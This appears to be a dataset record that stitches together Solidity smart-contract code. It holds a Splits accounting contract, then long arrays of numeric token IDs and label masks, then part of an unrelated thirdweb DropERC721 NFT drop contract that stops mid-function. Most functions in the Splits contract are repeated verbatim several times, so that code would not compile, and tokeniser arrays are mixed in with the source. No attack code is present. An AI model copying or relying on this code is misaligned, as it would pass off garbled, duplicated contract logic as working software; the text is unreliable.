-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0x3f9C6646CCFa4597C45761B3e9a1Da0cF00253D5/sources/src/Splits.sol | @notice Splits can keep track of at most `type(uint128).max` which is `2 ^ 128 - 1` units of each asset. It's up to the caller to guarantee that this limit is never exceeded, failing to do so may result in a total protocol collapse. slither-disable-next-line unused-state | abstract contract Splits {
uint256 internal constant _MAX_SPLITS_RECEIVERS = 200;
uint32 internal constant _TOTAL_SPLITS_WEIGHT = 1_000_000;
uint128 internal constant _MAX_SPLITS_BALANCE = type(uint128).max;
bytes32 private immutable _splitsStorageSlot;
event Collected(uint256 indexed userId, uint256 indexed assetId, uint128 collected);
event Split(
uint256 indexed userId, uint256 indexed receiver, uint256 indexed assetId, uint128 amt
);
event Collectable(uint256 indexed userId, uint256 indexed assetId, uint128 amt);
event Given(
uint256 indexed userId, uint256 indexed receiver, uint256 indexed assetId, uint128 amt
);
event SplitsSet(uint256 indexed userId, bytes32 indexed receiversHash);
event SplitsReceiverSeen(bytes32 indexed receiversHash, uint256 indexed userId, uint32 weight);
}
struct SplitsStorage {
mapping(uint256 userId => SplitsState) splitsStates;
}
struct SplitsState {
bytes32 splitsHash;
mapping(uint256 assetId => SplitsBalance) balances;
}
struct SplitsBalance {
uint128 splittable;
uint128 collectable;
}
constructor(bytes32 splitsStorageSlot) {
_splitsStorageSlot = splitsStorageSlot;
}
function _addSplittable(uint256 userId, uint256 assetId, uint128 amt) internal {
_splitsStorage().splitsStates[userId].balances[assetId].splittable += amt;
}
function _splittable(uint256 userId, uint256 assetId) internal view returns (uint128 amt) {
return _splitsStorage().splitsStates[userId].balances[assetId].splittable;
}
function _splitResult(uint256 userId, SplitsReceiver[] memory currReceivers, uint128 amount)
internal
view
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
if (amount == 0) {
return (0, 0);
}
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
}
splitAmt = uint128(amount * splitsWeight / _TOTAL_SPLITS_WEIGHT);
collectableAmt = amount - splitAmt;
}
}
function _splitResult(uint256 userId, SplitsReceiver[] memory currReceivers, uint128 amount)
internal
view
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
if (amount == 0) {
return (0, 0);
}
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
}
splitAmt = uint128(amount * splitsWeight / _TOTAL_SPLITS_WEIGHT);
collectableAmt = amount - splitAmt;
}
}
function _splitResult(uint256 userId, SplitsReceiver[] memory currReceivers, uint128 amount)
internal
view
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
if (amount == 0) {
return (0, 0);
}
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
}
splitAmt = uint128(amount * splitsWeight / _TOTAL_SPLITS_WEIGHT);
collectableAmt = amount - splitAmt;
}
}
function _splitResult(uint256 userId, SplitsReceiver[] memory currReceivers, uint128 amount)
internal
view
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
if (amount == 0) {
return (0, 0);
}
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
}
splitAmt = uint128(amount * splitsWeight / _TOTAL_SPLITS_WEIGHT);
collectableAmt = amount - splitAmt;
}
}
function _split(uint256 userId, uint256 assetId, SplitsReceiver[] memory currReceivers)
internal
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
SplitsBalance storage balance = _splitsStorage().splitsStates[userId].balances[assetId];
collectableAmt = balance.splittable;
if (collectableAmt == 0) {
return (0, 0);
}
balance.splittable = 0;
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
uint128 currSplitAmt =
uint128(collectableAmt * splitsWeight / _TOTAL_SPLITS_WEIGHT) - splitAmt;
splitAmt += currSplitAmt;
uint256 receiver = currReceivers[i].userId;
_addSplittable(receiver, assetId, currSplitAmt);
emit Split(userId, receiver, assetId, currSplitAmt);
}
collectableAmt -= splitAmt;
balance.collectable += collectableAmt;
}
emit Collectable(userId, assetId, collectableAmt);
}
function _split(uint256 userId, uint256 assetId, SplitsReceiver[] memory currReceivers)
internal
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
SplitsBalance storage balance = _splitsStorage().splitsStates[userId].balances[assetId];
collectableAmt = balance.splittable;
if (collectableAmt == 0) {
return (0, 0);
}
balance.splittable = 0;
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
uint128 currSplitAmt =
uint128(collectableAmt * splitsWeight / _TOTAL_SPLITS_WEIGHT) - splitAmt;
splitAmt += currSplitAmt;
uint256 receiver = currReceivers[i].userId;
_addSplittable(receiver, assetId, currSplitAmt);
emit Split(userId, receiver, assetId, currSplitAmt);
}
collectableAmt -= splitAmt;
balance.collectable += collectableAmt;
}
emit Collectable(userId, assetId, collectableAmt);
}
function _split(uint256 userId, uint256 assetId, SplitsReceiver[] memory currReceivers)
internal
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
SplitsBalance storage balance = _splitsStorage().splitsStates[userId].balances[assetId];
collectableAmt = balance.splittable;
if (collectableAmt == 0) {
return (0, 0);
}
balance.splittable = 0;
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
uint128 currSplitAmt =
uint128(collectableAmt * splitsWeight / _TOTAL_SPLITS_WEIGHT) - splitAmt;
splitAmt += currSplitAmt;
uint256 receiver = currReceivers[i].userId;
_addSplittable(receiver, assetId, currSplitAmt);
emit Split(userId, receiver, assetId, currSplitAmt);
}
collectableAmt -= splitAmt;
balance.collectable += collectableAmt;
}
emit Collectable(userId, assetId, collectableAmt);
}
function _split(uint256 userId, uint256 assetId, SplitsReceiver[] memory currReceivers)
internal
returns (uint128 collectableAmt, uint128 splitAmt)
{
_assertCurrSplits(userId, currReceivers);
SplitsBalance storage balance = _splitsStorage().splitsStates[userId].balances[assetId];
collectableAmt = balance.splittable;
if (collectableAmt == 0) {
return (0, 0);
}
balance.splittable = 0;
unchecked {
uint160 splitsWeight = 0;
for (uint256 i = 0; i < currReceivers.length; i++) {
splitsWeight += currReceivers[i].weight;
uint128 currSplitAmt =
uint128(collectableAmt * splitsWeight / _TOTAL_SPLITS_WEIGHT) - splitAmt;
splitAmt += currSplitAmt;
uint256 receiver = currReceivers[i].userId;
_addSplittable(receiver, assetId, currSplitAmt);
emit Split(userId, receiver, assetId, currSplitAmt);
}
collectableAmt -= splitAmt;
balance.collectable += collectableAmt;
}
emit Collectable(userId, assetId, collectableAmt);
}
function _collectable(uint256 userId, uint256 assetId) internal view returns (uint128 amt) {
return _splitsStorage().splitsStates[userId].balances[assetId].collectable;
}
function _collect(uint256 userId, uint256 assetId) internal returns (uint128 amt) {
SplitsBalance storage balance = _splitsStorage().splitsStates[userId].balances[assetId];
amt = balance.collectable;
balance.collectable = 0;
emit Collected(userId, assetId, amt);
}
function _give(uint256 userId, uint256 receiver, uint256 assetId, uint128 amt) internal {
_addSplittable(receiver, assetId, amt);
emit Given(userId, receiver, assetId, amt);
}
function _setSplits(uint256 userId, SplitsReceiver[] memory receivers) internal {
SplitsState storage state = _splitsStorage().splitsStates[userId];
bytes32 newSplitsHash = _hashSplits(receivers);
emit SplitsSet(userId, newSplitsHash);
if (newSplitsHash != state.splitsHash) {
_assertSplitsValid(receivers, newSplitsHash);
state.splitsHash = newSplitsHash;
}
}
function _setSplits(uint256 userId, SplitsReceiver[] memory receivers) internal {
SplitsState storage state = _splitsStorage().splitsStates[userId];
bytes32 newSplitsHash = _hashSplits(receivers);
emit SplitsSet(userId, newSplitsHash);
if (newSplitsHash != state.splitsHash) {
_assertSplitsValid(receivers, newSplitsHash);
state.splitsHash = newSplitsHash;
}
}
function _assertSplitsValid(SplitsReceiver[] memory receivers, bytes32 receiversHash) private {
unchecked {
require(receivers.length <= _MAX_SPLITS_RECEIVERS, "Too many splits receivers");
uint64 totalWeight = 0;
uint256 prevUserId;
for (uint256 i = 0; i < receivers.length; i++) {
SplitsReceiver memory receiver = receivers[i];
uint32 weight = receiver.weight;
require(weight != 0, "Splits receiver weight is zero");
totalWeight += weight;
uint256 userId = receiver.userId;
if (i > 0) require(prevUserId < userId, "Splits receivers not sorted");
prevUserId = userId;
emit SplitsReceiverSeen(receiversHash, userId, weight);
}
require(totalWeight <= _TOTAL_SPLITS_WEIGHT, "Splits weights sum too high");
}
}
function _assertSplitsValid(SplitsReceiver[] memory receivers, bytes32 receiversHash) private {
unchecked {
require(receivers.length <= _MAX_SPLITS_RECEIVERS, "Too many splits receivers");
uint64 totalWeight = 0;
uint256 prevUserId;
for (uint256 i = 0; i < receivers.length; i++) {
SplitsReceiver memory receiver = receivers[i];
uint32 weight = receiver.weight;
require(weight != 0, "Splits receiver weight is zero");
totalWeight += weight;
uint256 userId = receiver.userId;
if (i > 0) require(prevUserId < userId, "Splits receivers not sorted");
prevUserId = userId;
emit SplitsReceiverSeen(receiversHash, userId, weight);
}
require(totalWeight <= _TOTAL_SPLITS_WEIGHT, "Splits weights sum too high");
}
}
function _assertSplitsValid(SplitsReceiver[] memory receivers, bytes32 receiversHash) private {
unchecked {
require(receivers.length <= _MAX_SPLITS_RECEIVERS, "Too many splits receivers");
uint64 totalWeight = 0;
uint256 prevUserId;
for (uint256 i = 0; i < receivers.length; i++) {
SplitsReceiver memory receiver = receivers[i];
uint32 weight = receiver.weight;
require(weight != 0, "Splits receiver weight is zero");
totalWeight += weight;
uint256 userId = receiver.userId;
if (i > 0) require(prevUserId < userId, "Splits receivers not sorted");
prevUserId = userId;
emit SplitsReceiverSeen(receiversHash, userId, weight);
}
require(totalWeight <= _TOTAL_SPLITS_WEIGHT, "Splits weights sum too high");
}
}
function _assertCurrSplits(uint256 userId, SplitsReceiver[] memory currReceivers)
internal
view
{
require(
_hashSplits(currReceivers) == _splitsHash(userId), "Invalid current splits receivers"
);
}
function _splitsHash(uint256 userId) internal view returns (bytes32 currSplitsHash) {
return _splitsStorage().splitsStates[userId].splitsHash;
}
function _hashSplits(SplitsReceiver[] memory receivers)
internal
pure
returns (bytes32 receiversHash)
{
if (receivers.length == 0) {
return bytes32(0);
}
return keccak256(abi.encode(receivers));
}
function _hashSplits(SplitsReceiver[] memory receivers)
internal
pure
returns (bytes32 receiversHash)
{
if (receivers.length == 0) {
return bytes32(0);
}
return keccak256(abi.encode(receivers));
}
function _splitsStorage() private view returns (SplitsStorage storage splitsStorage) {
bytes32 slot = _splitsStorageSlot;
assembly {
splitsStorage.slot := slot
}
}
function _splitsStorage() private view returns (SplitsStorage storage splitsStorage) {
bytes32 slot = _splitsStorageSlot;
assembly {
splitsStorage.slot := slot
}
}
}
| 3,823,938 | [
1,
16582,
848,
3455,
3298,
434,
622,
4486,
1375,
723,
12,
11890,
10392,
2934,
1896,
68,
1492,
353,
1375,
22,
3602,
8038,
300,
404,
68,
4971,
434,
1517,
3310,
18,
2597,
1807,
731,
358,
326,
4894,
358,
18779,
716,
333,
1800,
353,
5903,
12428,
16,
21311,
358,
741,
1427,
2026,
563,
316,
279,
2078,
1771,
13627,
18,
2020,
2927,
17,
8394,
17,
4285,
17,
1369,
10197,
17,
2019,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
5385,
87,
288,
203,
565,
2254,
5034,
2713,
5381,
389,
6694,
67,
3118,
48,
10158,
67,
27086,
45,
21510,
273,
4044,
31,
203,
565,
2254,
1578,
2713,
5381,
389,
28624,
67,
3118,
48,
10158,
67,
29988,
273,
404,
67,
3784,
67,
3784,
31,
203,
565,
2254,
10392,
2713,
5381,
389,
6694,
67,
3118,
48,
10158,
67,
38,
1013,
4722,
273,
618,
12,
11890,
10392,
2934,
1896,
31,
203,
565,
1731,
1578,
3238,
11732,
389,
21902,
3245,
8764,
31,
203,
203,
565,
871,
9302,
329,
12,
11890,
5034,
8808,
6249,
16,
2254,
5034,
8808,
3310,
548,
16,
2254,
10392,
12230,
1769,
203,
203,
565,
871,
5385,
12,
203,
3639,
2254,
5034,
8808,
6249,
16,
2254,
5034,
8808,
5971,
16,
2254,
5034,
8808,
3310,
548,
16,
2254,
10392,
25123,
203,
565,
11272,
203,
203,
565,
871,
9302,
429,
12,
11890,
5034,
8808,
6249,
16,
2254,
5034,
8808,
3310,
548,
16,
2254,
10392,
25123,
1769,
203,
203,
565,
871,
16803,
12,
203,
3639,
2254,
5034,
8808,
6249,
16,
2254,
5034,
8808,
5971,
16,
2254,
5034,
8808,
3310,
548,
16,
2254,
10392,
25123,
203,
565,
11272,
203,
203,
565,
871,
5385,
87,
694,
12,
11890,
5034,
8808,
6249,
16,
1731,
1578,
8808,
22686,
2310,
1769,
203,
203,
565,
871,
5385,
87,
12952,
15160,
12,
3890,
1578,
8808,
22686,
2310,
16,
2254,
5034,
8808,
6249,
16,
2254,
1578,
3119,
1769,
203,
203,
97,
203,
565,
1958,
5385,
87,
3245,
288,
203,
3639,
2874,
12,
11890,
5034,
6249,
516,
5385,
87,
1119,
13,
11019,
7629,
31,
203,
203,
2
] |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
// ========== External imports ==========
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/structs/BitMapsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
// ========== Internal imports ==========
import { IDropERC721 } from "../interfaces/drop/IDropERC721.sol";
import { ITWFee } from "../interfaces/ITWFee.sol";
import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol";
import "../lib/CurrencyTransferLib.sol";
import "../lib/FeeType.sol";
import "../lib/MerkleProof.sol";
contract DropERC721 is
Initializable,
ReentrancyGuardUpgradeable,
ERC2771ContextUpgradeable,
MulticallUpgradeable,
AccessControlEnumerableUpgradeable,
ERC721EnumerableUpgradeable,
IDropERC721
{
using BitMapsUpgradeable for BitMapsUpgradeable.BitMap;
using StringsUpgradeable for uint256;
/*///////////////////////////////////////////////////////////////
State variables
//////////////////////////////////////////////////////////////*/
bytes32 private constant MODULE_TYPE = bytes32("DropERC721");
uint256 private constant VERSION = 2;
/// @dev Only transfers to or from TRANSFER_ROLE holders are valid, when transfers are restricted.
bytes32 private constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE");
/// @dev Only MINTER_ROLE holders can lazy mint NFTs.
bytes32 private constant MINTER_ROLE = keccak256("MINTER_ROLE");
/// @dev Max bps in the thirdweb system.
uint256 private constant MAX_BPS = 10_000;
/// @dev The thirdweb contract with fee related information.
ITWFee public immutable thirdwebFee;
/// @dev Owner of the contract (purpose: OpenSea compatibility)
address private _owner;
/// @dev The next token ID of the NFT to "lazy mint".
uint256 public nextTokenIdToMint;
/// @dev The next token ID of the NFT that can be claimed.
uint256 public nextTokenIdToClaim;
/// @dev The address that receives all primary sales value.
address public primarySaleRecipient;
/// @dev The max number of NFTs a wallet can claim.
uint256 public maxWalletClaimCount;
/// @dev Global max total supply of NFTs.
uint256 public maxTotalSupply;
/// @dev The address that receives all platform fees from all sales.
address private platformFeeRecipient;
/// @dev The % of primary sales collected as platform fees.
uint16 private platformFeeBps;
/// @dev The (default) address that receives all royalty value.
address private royaltyRecipient;
/// @dev The (default) % of a sale to take as royalty (in basis points).
uint16 private royaltyBps;
/// @dev Contract level metadata.
string public contractURI;
/// @dev Largest tokenId of each batch of tokens with the same baseURI
uint256[] public baseURIIndices;
/// @dev The set of all claim conditions, at any given moment.
ClaimConditionList public claimCondition;
/*///////////////////////////////////////////////////////////////
Mappings
//////////////////////////////////////////////////////////////*/
/**
* @dev Mapping from 'Largest tokenId of a batch of tokens with the same baseURI'
* to base URI for the respective batch of tokens.
**/
mapping(uint256 => string) private baseURI;
/**
* @dev Mapping from 'Largest tokenId of a batch of 'delayed-reveal' tokens with
* the same baseURI' to encrypted base URI for the respective batch of tokens.
**/
mapping(uint256 => bytes) public encryptedBaseURI;
/// @dev Mapping from address => total number of NFTs a wallet has claimed.
mapping(address => uint256) public walletClaimCount;
/// @dev Token ID => royalty recipient and bps for token
mapping(uint256 => RoyaltyInfo) private royaltyInfoForToken;
/*///////////////////////////////////////////////////////////////
Constructor + initializer logic
//////////////////////////////////////////////////////////////*/
constructor(address _thirdwebFee) initializer {
thirdwebFee = ITWFee(_thirdwebFee);
}
/// @dev Initiliazes the contract, like a constructor.
function initialize(
address _defaultAdmin,
string memory _name,
string memory _symbol,
string memory _contractURI,
address[] memory _trustedForwarders,
address _saleRecipient,
address _royaltyRecipient,
uint128 _royaltyBps,
uint128 _platformFeeBps,
address _platformFeeRecipient
) external initializer {
// Initialize inherited contracts, most base-like -> most derived.
__ReentrancyGuard_init();
__ERC2771Context_init(_trustedForwarders);
__ERC721_init(_name, _symbol);
// Initialize this contract's state.
royaltyRecipient = _royaltyRecipient;
royaltyBps = uint16(_royaltyBps);
platformFeeRecipient = _platformFeeRecipient;
platformFeeBps = uint16(_platformFeeBps);
primarySaleRecipient = _saleRecipient;
contractURI = _contractURI;
_owner = _defaultAdmin;
_setupRole(DEFAULT_ADMIN_ROLE, _defaultAdmin);
_setupRole(MINTER_ROLE, _defaultAdmin);
_setupRole(TRANSFER_ROLE, _defaultAdmin);
_setupRole(TRANSFER_ROLE, address(0));
}
/*///////////////////////////////////////////////////////////////
Generic contract logic
//////////////////////////////////////////////////////////////*/
/// @dev Returns the type of the contract.
function contractType() external pure returns (bytes32) {
return MODULE_TYPE;
}
/// @dev Returns the version of the contract.
function contractVersion() external pure returns (uint8) {
return uint8(VERSION);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return hasRole(DEFAULT_ADMIN_ROLE, _owner) ? _owner : address(0);
}
/*///////////////////////////////////////////////////////////////
ERC 165 / 721 / 2981 logic
//////////////////////////////////////////////////////////////*/
/// @dev Returns the URI for a given tokenId.
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
for (uint256 i = 0; i < baseURIIndices.length; i += 1) {
if (_tokenId < baseURIIndices[i]) {
if (encryptedBaseURI[baseURIIndices[i]].length != 0) {
return string(abi.encodePacked(baseURI[baseURIIndices[i]], "0"));
} else {
return string(abi.encodePacked(baseURI[baseURIIndices[i]], _tokenId.toString()));
}
}
}
return "";
}
/// @dev See ERC 165
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721EnumerableUpgradeable, AccessControlEnumerableUpgradeable, IERC165Upgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId) || type(IERC2981Upgradeable).interfaceId == interfaceId;
}
/// @dev Returns the royalty recipient and amount, given a tokenId and sale price.
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
virtual
returns (address receiver, uint256 royaltyAmount)
{
(address recipient, uint256 bps) = getRoyaltyInfoForToken(tokenId);
receiver = recipient;
royaltyAmount = (salePrice * bps) / MAX_BPS;
}
/*///////////////////////////////////////////////////////////////
Minting + delayed-reveal logic
//////////////////////////////////////////////////////////////*/
/**
* @dev Lets an account with `MINTER_ROLE` lazy mint 'n' NFTs.
* The URIs for each token is the provided `_baseURIForTokens` + `{tokenId}`.
*/
function lazyMint(
uint256 _amount,
string calldata _baseURIForTokens,
bytes calldata _encryptedBaseURI
) external onlyRole(MINTER_ROLE) {
uint256 startId = nextTokenIdToMint;
uint256 baseURIIndex = startId + _amount;
nextTokenIdToMint = baseURIIndex;
baseURI[baseURIIndex] = _baseURIForTokens;
baseURIIndices.push(baseURIIndex);
if (_encryptedBaseURI.length != 0) {
encryptedBaseURI[baseURIIndex] = _encryptedBaseURI;
}
emit TokensLazyMinted(startId, startId + _amount - 1, _baseURIForTokens, _encryptedBaseURI);
}
/// @dev Lets an account with `MINTER_ROLE` reveal the URI for a batch of 'delayed-reveal' NFTs.
function reveal(uint256 index, bytes calldata _key)
external
onlyRole(MINTER_ROLE)
returns (string memory revealedURI)
{
require(index < baseURIIndices.length, "invalid index.");
uint256 _index = baseURIIndices[index];
bytes memory encryptedURI = encryptedBaseURI[_index];
require(encryptedURI.length != 0, "nothing to reveal.");
revealedURI = string(encryptDecrypt(encryptedURI, _key));
baseURI[_index] = revealedURI;
delete encryptedBaseURI[_index];
emit NFTRevealed(_index, revealedURI);
return revealedURI;
}
/// @dev See: https://ethereum.stackexchange.com/questions/69825/decrypt-message-on-chain
function encryptDecrypt(bytes memory data, bytes calldata key) public pure returns (bytes memory result) {
// Store data length on stack for later use
uint256 length = data.length;
// solhint-disable-next-line no-inline-assembly
assembly {
// Set result to free memory pointer
result := mload(0x40)
// Increase free memory pointer by lenght + 32
mstore(0x40, add(add(result, length), 32))
// Set result length
mstore(result, length)
}
// Iterate over the data stepping by 32 bytes
for (uint256 i = 0; i < length; i += 32) {
// Generate hash of the key and offset
bytes32 hash = keccak256(abi.encodePacked(key, i));
bytes32 chunk;
// solhint-disable-next-line no-inline-assembly
assembly {
// Read 32-bytes data chunk
chunk := mload(add(data, add(i, 32)))
}
// XOR the chunk with hash
chunk ^= hash;
// solhint-disable-next-line no-inline-assembly
assembly {
// Write 32-byte encrypted chunk
mstore(add(result, add(i, 32)), chunk)
}
}
}
/*///////////////////////////////////////////////////////////////
Claim logic
//////////////////////////////////////////////////////////////*/
/// @dev Lets an account claim NFTs.
function claim(
address _receiver,
uint256 _quantity,
address _currency,
uint256 _pricePerToken,
bytes32[] calldata _proofs,
uint256 _proofMaxQuantityPerTransaction
) external payable nonReentrant {
uint256 tokenIdToClaim = nextTokenIdToClaim;
// Get the claim conditions.
uint256 activeConditionId = getActiveClaimConditionId();
/**
* We make allowlist checks (i.e. verifyClaimMerkleProof) before verifying the claim's general
* validity (i.e. verifyClaim) because we give precedence to the check of allow list quantity
* restriction over the check of the general claim condition's quantityLimitPerTransaction
* restriction.
*/
// Verify inclusion in allowlist.
(bool validMerkleProof, uint256 merkleProofIndex) = verifyClaimMerkleProof(
activeConditionId,
_msgSender(),
_quantity,
_proofs,
_proofMaxQuantityPerTransaction
);
// Verify claim validity. If not valid, revert.
bool toVerifyMaxQuantityPerTransaction = _proofMaxQuantityPerTransaction == 0;
verifyClaim(
activeConditionId,
_msgSender(),
_quantity,
_currency,
_pricePerToken,
toVerifyMaxQuantityPerTransaction
);
if (validMerkleProof && _proofMaxQuantityPerTransaction > 0) {
/**
* Mark the claimer's use of their position in the allowlist. A spot in an allowlist
* can be used only once.
*/
claimCondition.limitMerkleProofClaim[activeConditionId].set(merkleProofIndex);
}
// If there's a price, collect price.
collectClaimPrice(_quantity, _currency, _pricePerToken);
// Mint the relevant NFTs to claimer.
transferClaimedTokens(_receiver, activeConditionId, _quantity);
emit TokensClaimed(activeConditionId, _msgSender(), _receiver, tokenIdToClaim, _quantity);
}
/// @dev Lets a contract admin (account with `DEFAULT_ADMIN_ROLE`) set claim conditions.
function setClaimConditions(ClaimCondition[] calldata _phases, bool _resetClaimEligibility)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
uint256 existingStartIndex = claimCondition.currentStartId;
uint256 existingPhaseCount = claimCondition.count;
/**
* `limitLastClaimTimestamp` and `limitMerkleProofClaim` are mappings that use a
* claim condition's UID as a key.
*
* If `_resetClaimEligibility == true`, we assign completely new UIDs to the claim
* conditions in `_phases`, effectively resetting the restrictions on claims expressed
* by `limitLastClaimTimestamp` and `limitMerkleProofClaim`.
*/
uint256 newStartIndex = existingStartIndex;
if (_resetClaimEligibility) {
newStartIndex = existingStartIndex + existingPhaseCount;
}
claimCondition.count = _phases.length;
claimCondition.currentStartId = newStartIndex;
uint256 lastConditionStartTimestamp;
for (uint256 i = 0; i < _phases.length; i++) {
require(i == 0 || lastConditionStartTimestamp < _phases[i].startTimestamp, "ST");
uint256 supplyClaimedAlready = claimCondition.phases[newStartIndex + i].supplyClaimed;
require(supplyClaimedAlready <= _phases[i].maxClaimableSupply, "max supply claimed already");
claimCondition.phases[newStartIndex + i] = _phases[i];
claimCondition.phases[newStartIndex + i].supplyClaimed = supplyClaimedAlready;
lastConditionStartTimestamp = _phases[i].startTimestamp;
}
/**
* Gas refunds (as much as possible)
*
* If `_resetClaimEligibility == true`, we assign completely new UIDs to the claim
* conditions in `_phases`. So, we delete claim conditions with UID < `newStartIndex`.
*
* If `_resetClaimEligibility == false`, and there are more existing claim conditions
* than in `_phases`, we delete the existing claim conditions that don't get replaced
* by the conditions in `_phases`.
*/
if (_resetClaimEligibility) {
for (uint256 i = existingStartIndex; i < newStartIndex; i++) {
delete claimCondition.phases[i];
delete claimCondition.limitMerkleProofClaim[i];
}
} else {
if (existingPhaseCount > _phases.length) {
for (uint256 i = _phases.length; i < existingPhaseCount; i++) {
delete claimCondition.phases[newStartIndex + i];
delete claimCondition.limitMerkleProofClaim[newStartIndex + i];
}
}
}
emit ClaimConditionsUpdated(_phases);
}
/// @dev Collects and distributes the primary sale value of NFTs being claimed.
function collectClaimPrice(
uint256 _quantityToClaim,
address _currency,
uint256 _pricePerToken
) internal {
if (_pricePerToken == 0) {
return;
}
uint256 totalPrice = _quantityToClaim * _pricePerToken;
uint256 platformFees = (totalPrice * platformFeeBps) / MAX_BPS;
(address twFeeRecipient, uint256 twFeeBps) = thirdwebFee.getFeeInfo(address(this), FeeType.PRIMARY_SALE);
uint256 twFee = (totalPrice * twFeeBps) / MAX_BPS;
if (_currency == CurrencyTransferLib.NATIVE_TOKEN) {
require(msg.value == totalPrice, "must send total price.");
}
CurrencyTransferLib.transferCurrency(_currency, _msgSender(), platformFeeRecipient, platformFees);
CurrencyTransferLib.transferCurrency(_currency, _msgSender(), twFeeRecipient, twFee);
CurrencyTransferLib.transferCurrency(
_currency,
_msgSender(),
primarySaleRecipient,
totalPrice - platformFees - twFee
);
}
/// @dev Transfers the NFTs being claimed.
function transferClaimedTokens(
address _to,
uint256 _conditionId,
uint256 _quantityBeingClaimed
) internal {
// Update the supply minted under mint condition.
claimCondition.phases[_conditionId].supplyClaimed += _quantityBeingClaimed;
// if transfer claimed tokens is called when `to != msg.sender`, it'd use msg.sender's limits.
// behavior would be similar to `msg.sender` mint for itself, then transfer to `_to`.
claimCondition.limitLastClaimTimestamp[_conditionId][_msgSender()] = block.timestamp;
walletClaimCount[_msgSender()] += _quantityBeingClaimed;
uint256 tokenIdToClaim = nextTokenIdToClaim;
for (uint256 i = 0; i < _quantityBeingClaimed; i += 1) {
_mint(_to, tokenIdToClaim);
tokenIdToClaim += 1;
}
nextTokenIdToClaim = tokenIdToClaim;
}
/// @dev Checks a request to claim NFTs against the active claim condition's criteria.
function verifyClaim(
uint256 _conditionId,
address _claimer,
uint256 _quantity,
address _currency,
uint256 _pricePerToken,
bool verifyMaxQuantityPerTransaction
) public view {
ClaimCondition memory currentClaimPhase = claimCondition.phases[_conditionId];
require(
_currency == currentClaimPhase.currency && _pricePerToken == currentClaimPhase.pricePerToken,
"invalid currency or price."
);
// If we're checking for an allowlist quantity restriction, ignore the general quantity restriction.
require(
_quantity > 0 &&
(!verifyMaxQuantityPerTransaction || _quantity <= currentClaimPhase.quantityLimitPerTransaction),
"invalid quantity."
);
require(
currentClaimPhase.supplyClaimed + _quantity <= currentClaimPhase.maxClaimableSupply,
"exceed max claimable supply."
);
